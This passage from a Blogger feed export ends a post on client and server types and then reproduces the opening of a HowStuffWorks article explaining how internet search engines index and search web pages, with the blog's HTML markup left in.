the data needed to complete the download.<br /><br />Specific types of clients include web browsers, email clients, and online chat clients.<br /><br />Specific types of servers include web servers, ftp servers, application servers, database servers, mail servers, file servers, print servers, and terminal servers. Most web services are also types of servers.Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0tag:blogger.com,1999:blog-7210496932394038909.post-34458399955063374142008-06-20T21:41:00.000-07:002008-06-20T21:48:51.768-07:00How Internet Search Engines Workby <a href="http://computer.howstuffworks.com/hsw-contact.htm">Curt Franklin</a><br /><br />The good news about the Internet and its most visible component, the World Wide Web, is that there are hundreds of millions of pages available, waiting to present information on an amazing variety of topics. The bad news about the Internet is that there are hundreds of millions of pages available, most of them titled according to the whim of their author, almost all of them sitting on <a href="http://www.howstuffworks.com/web-server.htm">servers</a> with cryptic names. When you need to know about a particular subject, how do you know which pages to read? If you're like most people, you visit an <b>Internet search engine</b>. <p> Internet search engines are special sites on the Web that are designed to help people fin<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWf3G3N2bliRXSgl__DfgEJ4xBaxKh884weAjaLhT8M0Goa2DTLXjN9oeP4JFedtYwh8v81iqQxEjnrAQlHOSE-l6-5-LrIDu5cuTPJmXzUcTHqAOHqa6QGv9VRRyGoKoXH8N6D1Sdgfg/s1600-h/search-engine-intro.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWf3G3N2bliRXSgl__DfgEJ4xBaxKh884weAjaLhT8M0Goa2DTLXjN9oeP4JFedtYwh8v81iqQxEjnrAQlHOSE-l6-5-LrIDu5cuTPJmXzUcTHqAOHqa6QGv9VRRyGoKoXH8N6D1Sdgfg/s320/search-engine-intro.jpg" alt="" id="BLOGGER_PHOTO_ID_5214192103308232914" border="0" /></a>d information stored on other sites. There are differences in the ways various search engines work, but they all perform three basic tasks: </p><ul><li>They search the Internet -- or select pieces of the Internet -- based on important words. </li><li>They keep an index of the words they find, and where they find them. </li><li>They allow users to look for words or combinations of words found in that index. </li></ul><p>Early search engines held an index of a few hundred thousand pages and documents, and received maybe one or two thousand inquiries each day. Today, a top search engine will index hundreds of millions of pages, and respond to tens of millions of queries per day. In this article, we'll tell you how these major tasks are performed, and how Internet search engines put the pieces together in order to let you find the information you need on the Web. </p>Mr Monkeyhttp://www.blogger.com/profile/12120159785642031112noreply@blogger.com0